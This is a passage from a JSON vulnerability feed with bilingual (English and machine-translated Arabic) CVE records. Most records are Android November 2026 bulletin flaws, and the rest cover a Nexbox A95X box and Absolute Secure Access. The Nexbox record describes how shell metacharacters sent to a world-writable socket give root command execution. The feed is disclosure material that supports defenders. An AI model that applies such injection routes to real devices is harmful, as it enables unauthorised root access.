Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible permission bypass due to a missing permission check.","ar":"في الدالة moveTaskToFrontLocked ضمن الملف ActivityTaskManagerService.java، يوجد احتمال تجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة moveTaskToFrontLocked ضمن الملف ActivityTaskManagerService.java، يوجد احتمال تجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم للاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58964","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:52Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In checkDestination of SmsUsageMonitor.java, there is a possible permission bypass due to improper input validation.","ar":"في الدالة checkDestination ضمن الملف SmsUsageMonitor.java، يوجد احتمال تجاوز الصلاحيات بسبب التحقق غير السليم من المدخلات."},"summary":{"en":"In checkDestination of SmsUsageMonitor.java, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة checkDestination ضمن الملف SmsUsageMonitor.java، يوجد احتمال تجاوز الصلاحيات بسبب التحقق غير السليم من المدخلات. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم للاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58966","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:52Z","product":"Google Android","affected":[["17",null],["16-qpr2",null]],"title":{"en":"In multiple functions of hppsfilter.c, there is a possible out-of-bounds write due to a stack buffer overflow.","ar":"في وظائف متعددة ضمن الملف hppsfilter.c، يوجد احتمال كتابة خارج حدود الذاكرة بسبب فيضان المخزن المؤقتكدس (stack buffer overflow)."},"summary":{"en":"In multiple functions of hppsfilter.c, there is a possible out-of-bounds write due to a stack buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في وظائف متعددة ضمن الملف hppsfilter.c، يوجد احتمال كتابة خارج حدود الذاكرة بسبب فيضان المخزن المؤقت للكدس. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم للاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58944","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:51Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible background application launch (bal) issue due to a confused deputy.","ar":"في الدالة moveTaskToFrontLocked ضمن الملف ActivityTaskManagerService.java، توجد مشكلة محتملة في إطلاق التطبيقات في الخلفية (bal) بسبب نائب محتار (confused deputy)"},"summary":{"en":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible background application launch (bal) issue due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة moveTaskToFrontLocked ضمن الملف ActivityTaskManagerService.java، توجد مشكلة محتملة في إطلاق التطبيقات في الخلفية (bal) بسبب نائب محتار (confused deputy). قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58946","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:51Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In navigateUpTo of ActivityClientController.java, there is a possible permission bypass due to a logic error in the code.","ar":"في الدالة navigateUpTo ضمن الملف ActivityClientController.java، يوجد احتمال تجاوز للصلاحيات بسبب خطأ منطقي في الشيفرة"},"summary":{"en":"In navigateUpTo of ActivityClientController.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة navigateUpTo ضمن الملف ActivityClientController.java، يوجد احتمال تجاوز للصلاحيات بسبب خطأ منطقي في الشيفرة. قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58934","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:50Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In prepareWindowToDisplayDuringRelayout of WindowState.java, there is a possible permission bypass due to a logic error in the code.","ar":"في الدالة prepareWindowToDisplayDuringRelayout ضمن الملف WindowState.java، يوجد احتمال تجاوز للصلاحيات بسبب خطأ منطقي في الشيفرة"},"summary":{"en":"In prepareWindowToDisplayDuringRelayout of WindowState.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة prepareWindowToDisplayDuringRelayout ضمن الملف WindowState.java، يوجد احتمال تجاوز للصلاحيات بسبب خطأ منطقي في الشيفرة. قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58866","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:49Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In setAccessibilityWindowAttributes of AccessibilityWindowManager.java, there is a possible untrusted/misleading UI issue due to a missing permission ","ar":"في الدالة setAccessibilityWindowAttributes ضمن الملف AccessibilityWindowManager.java، توجد مشكلة محتملة تتعلق بواجهة مستخدم غير موثوقة/مضللة بسبب غياب التحقق من الصلاحيات"},"summary":{"en":"In setAccessibilityWindowAttributes of AccessibilityWindowManager.java, there is a possible untrusted/misleading UI issue due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة setAccessibilityWindowAttributes ضمن الملف AccessibilityWindowManager.java، توجد مشكلة محتملة تتعلق بواجهة مستخدم غير موثوقة/مضللة بسبب غياب التحقق من الصلاحيات. قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58867","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:49Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In getMessenger of WifiP2pServiceImpl.java, there is a possible permission bypass due to a missing permission check.","ar":"في getMessenger ضمن WifiP2pServiceImpl.java، يوجد احتمال لتجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In getMessenger of WifiP2pServiceImpl.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في getMessenger ضمن WifiP2pServiceImpl.java، يوجد احتمال لتجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58836","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:48Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In handlePackagePostInstall of InstallPackageHelper.java, there is a possible Enhanced Confirmation Mode (ECM) bypass vulnerability that allows a side","ar":"في الدالة handlePackagePostInstall ضمن الملف InstallPackageHelper.java، توجد ثغرة محتملة لتجاوز وضع التأكيد المُحسّن (ECM) تسمح لتطبيق مُحمّل جانبيًا بتعديل مصدر الحزمة أثناء التحديث الذاتي"},"summary":{"en":"In handlePackagePostInstall of InstallPackageHelper.java, there is a possible Enhanced Confirmation Mode (ECM) bypass vulnerability that allows a sideloaded application to modify the package source during a self-update due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة handlePackagePostInstall ضمن الملف InstallPackageHelper.java، توجد ثغرة محتملة لتجاوز وضع التأكيد المُحسّن (ECM) تسمح لتطبيق مُحمّل جانبيًا بتعديل مصدر الحزمة أثناء التحديث الذاتي بسبب خطأ منطقي في الشيفرة. قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا مع توفر صلاحيات تنفيذ لدى المستخدم. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58837","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:48Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple locations, there is a possible background activity launch due to a logic error in the code.","ar":"في عدة مواقع، يوجد احتمال إطلاق نشاط في الخلفية بسبب خطأ منطقي في الشيفرة"},"summary":{"en":"In multiple locations, there is a possible background activity launch due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة مواقع، يوجد احتمال إطلاق نشاط في الخلفية بسبب خطأ منطقي في الشيفرة. قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58853","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:48Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple functions of ipphelper.c, there is a possible stack bugger overflow due to a missing bounds check.","ar":"في عدة دوال ضمن الملف ipphelper.c، يوجد احتمال فيضان المخزن المؤقت لتكديس الذاكرة (stack buffer overflow) بسبب غياب التحقق من الحدود"},"summary":{"en":"In multiple functions of ipphelper.c, there is a possible stack bugger overflow due to a missing bounds check. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة دوال ضمن الملف ipphelper.c، يوجد احتمال فيضان المخزن المؤقت لتكديس الذاكرة (stack buffer overflow) بسبب غياب التحقق من الحدود. قد يؤدي ذلك إلى حجب خدمة عن بُعد دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55287","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:45Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In onCreate of GrantCredentialsPermissionActivity.java, there is a possible way to trick the user into granting account credentials due to misleading ","ar":"في الدالة onCreate ضمن الملف GrantCredentialsPermissionActivity.java، توجد طريقة محتملة لخداع المستخدم لكي يمنح بيانات اعتماد الحساب بسبب واجهة مستخدم مضللة"},"summary":{"en":"In onCreate of GrantCredentialsPermissionActivity.java, there is a possible way to trick the user into granting account credentials due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة onCreate ضمن الملف GrantCredentialsPermissionActivity.java، توجد طريقة محتملة لخداع المستخدم لكي يمنح بيانات اعتماد الحساب بسبب واجهة مستخدم مضللة أو غير كافية. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55271","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:44Z","product":"Google Android","affected":[["17",null]],"title":{"en":"In forwardToPreferredActionPickHandler of ContactsPickerActivity.kt, there is a possible intent redirection due to a confused deputy.","ar":"في الدالة forwardToPreferredActionPickHandler ضمن الملف ContactsPickerActivity.kt، يوجد احتمال لإعادة توجيه النية (intent) بسبب وكيل مرتبك"},"summary":{"en":"In forwardToPreferredActionPickHandler of ContactsPickerActivity.kt, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة forwardToPreferredActionPickHandler ضمن الملف ContactsPickerActivity.kt، يوجد احتمال لإعادة توجيه النية بسبب وكيل مرتبك. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55263","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:44Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple functions of AllowBindAppWidgetActivity.java, there is a possible misunderstanding of reject/consent actions due to misleading or insuffic","ar":"في وظائف متعددة من AllowBindAppWidgetActivity.java، يوجد احتمال سوء فهم لإجراءات الرفض/الموافقة بسبب واجهة مستخدم مضللة أو غير كافية."},"summary":{"en":"In multiple functions of AllowBindAppWidgetActivity.java, there is a possible misunderstanding of reject/consent actions due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","ar":"في وظائف متعددة من AllowBindAppWidgetActivity.java، يوجد احتمال سوء فهم لإجراءات الرفض/الموافقة بسبب واجهة مستخدم مضللة أو غير كافية. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55257","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:43Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In UsbDialogHelper of UsbDialogHelper.java, there is a possible UI confusion due to misleading or insufficient UI.","ar":"في UsbDialogHelper ضمن الملف UsbDialogHelper.java، يوجد احتمال لحدوث ارتباك في واجهة المستخدم بسبب واجهة مضللة أو غير كافية"},"summary":{"en":"In UsbDialogHelper of UsbDialogHelper.java, there is a possible UI confusion due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في UsbDialogHelper ضمن الملف UsbDialogHelper.java، يوجد احتمال لحدوث ارتباك في واجهة المستخدم بسبب واجهة مضللة أو غير كافية. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-45514","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:42Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple functions of SaveUi.java, there is a possible bypass of package installation requirements due to a logic error in the code.","ar":"في عدة دوال ضمن الملف SaveUi.java، يوجد احتمال لتجاوز متطلبات تثبيت الحزم بسبب خطأ منطقي في الشيفرة"},"summary":{"en":"In multiple functions of SaveUi.java, there is a possible bypass of package installation requirements due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة دوال ضمن الملف SaveUi.java، يوجد احتمال لتجاوز متطلبات تثبيت الحزم بسبب خطأ منطقي في الشيفرة. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-49923","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:42Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In onResult of AccountManagerService.java, there is a possible untrusted/misleading UI issue due to a logic error in the code.","ar":"في الدالة onResult ضمن الملف AccountManagerService.java، توجد مشكلة محتملة تتعلق بواجهة مستخدم غير موثوقة أو مضللة بسبب خطأ منطقي في الشيفرة"},"summary":{"en":"In onResult of AccountManagerService.java, there is a possible untrusted/misleading UI issue due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة onResult ضمن الملف AccountManagerService.java، توجد مشكلة محتملة تتعلق بواجهة مستخدم غير موثوقة أو مضللة بسبب خطأ منطقي في الشيفرة. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-28588","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:41Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In shouldBlockDirectoryFromTree of ExternalStorageProvider.java, there is a possible way to access protected data due to a logic error in the code.","ar":"في دالة shouldBlockDirectoryFromTree ضمن الملف ExternalStorageProvider.java، توجد طريقة محتملة للوصول إلى البيانات المحمية بسبب خطأ في المنطق داخل الشيفرة."},"summary":{"en":"In shouldBlockDirectoryFromTree of ExternalStorageProvider.java, there is a possible way to access protected data due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في دالة shouldBlockDirectoryFromTree ضمن الملف ExternalStorageProvider.java، توجد طريقة محتملة للوصول إلى البيانات المحمية بسبب خطأ في المنطق داخل الشيفرة. قد يؤدي هذا إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. ولا تتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-28597","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:41Z","product":"Google Android","affected":[["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In writeGrantedUriPermissions of UriGrantsManagerService.java, there is a possible permission bypass due to improper input validation.","ar":"في الدالة writeGrantedUriPermissions ضمن الملف UriGrantsManagerService.java، يوجد احتمال لتجاوز الصلاحيات بسبب التحقق غير السليم من المدخلات"},"summary":{"en":"In writeGrantedUriPermissions of UriGrantsManagerService.java, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة writeGrantedUriPermissions ضمن الملف UriGrantsManagerService.java، يوجد احتمال لتجاوز الصلاحيات بسبب التحقق غير السليم من المدخلات. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-119737","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:38Z","product":"Nexbox A95X","affected":[["NEXBOX-A95X-201606011847",null],["NEXBOX-A95X-AP6330",null]],"title":{"en":"Amlogic pppoe_wrapper Command Injection via AF_UNIX Socket","ar":"حقن أوامر في pppoe_wrapper التابع لـ Amlogic عبر مقبس AF_UNIX"},"summary":{"en":"The pppoe_wrapper vendor daemon from the Amlogic Android SDK, as shipped on Nexbox A95X (Amlogic S905/S905X) TV boxes, contains a command injection vulnerability that allows local attackers to execute arbitrary commands as root by sending crafted messages to a world-writable AF_UNIX datagram socket at /dev/socket/pppoe_wrapper. Attackers can send a message beginning with 'pppd pty' followed by shell metacharacters and arbitrary commands, which are passed unfiltered to system(3) and executed by /system/bin/sh -c as root, resulting in full privilege escalation.","ar":"يحتوي برنامج التشغيل الخفي pppoe_wrapper التابع لـ Amlogic Android SDK، كما هو مُشحن في صناديق التلفاز Nexbox A95X (Amlogic S905/S905X)، على ثغرة حقن أوامر تسمح للمهاجمين المحليين بتنفيذ أوامر عشوائية بصلاحيات الجذر (root) عن طريق إرسال رسائل معدة خصيصاً إلى مقبس بيانات AF_UNIX المكتوب للجميع في المسار /dev/socket/pppoe_wrapper. يمكن للمهاجمين إرسال رسالة تبدأ بـ 'pppd pty' يتبعها محارف قذيفة وأوامر عشوائية، والتي تُمرر دون تصفية إلى system(3) وتُنَفذ بواسطة /system/bin/sh -c بصلاحيات الجذر، مما ينتج عنه تصعيد كامل للصلاحيات."},"refs":[["https://www.vulncheck.com/advisories/amlogic-pppoe-wrapper-command-injection-via-af-unix-socket","advisory"],["https://mstreet97.github.io/security-research/vulnerability-disclosure/embedded/cve/2026/10/29/From-UART-to-root-android-version.html","ref"]],"epss":0.0089,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nexbox-a95x"},{"id":"CVE-2026-116769","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T20:17:33Z","product":"Absolute Security Secure Access","affected":[["13.0 – <14.61","14.61"]],"title":{"en":"Authentication bypass in Secure Access Servers","ar":"تجاوز المصادقة في خوادم Secure Access"},"summary":{"en":"CVE-2026-116769 is an authentication bypass vulnerability in Secure Access servers starting with version 13.0 and prior to 14.61. Attackers can modify security settings of a client via the server.","ar":"CVE-2026-116769 هي ثغرة تجاوز المصادقة في خوادم Secure Access بدءاً من الإصدار 13.0 والإصدارات السابقة لـ 14.61. يمكن للمهاجمين تعديل إعدادات الأمان الخاصة بالعميل عبر الخادم."},"refs":[["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116769","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"absolute-security-secure-access"},{"id":"CVE-2026-116766","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T20:16:26Z","product":"Absolute Software Secure Access","affected":[["13.0 – <14.61","14.61"]],"title":{"en":"Improper input handling in Secure Access server","ar":"معالجة المدخلات غير السليمة في خادم Secure Access"},"summary":{"en":"CVE-2026-116766 is an improper input handling vulnerability in the Secure Access server versions between 13.0 and prior to 14.61. Attackers can cause a persistent denial of service of the server.","ar":"CVE-2026-116766 هي ثغرة معالجة المدخلات غير السليمة في إصدارات خادم Secure Access بين 13.0 والإصدارات السابقة لـ 14.61. يمكن للمهاجمين التسبب في حجب خدمة دائم 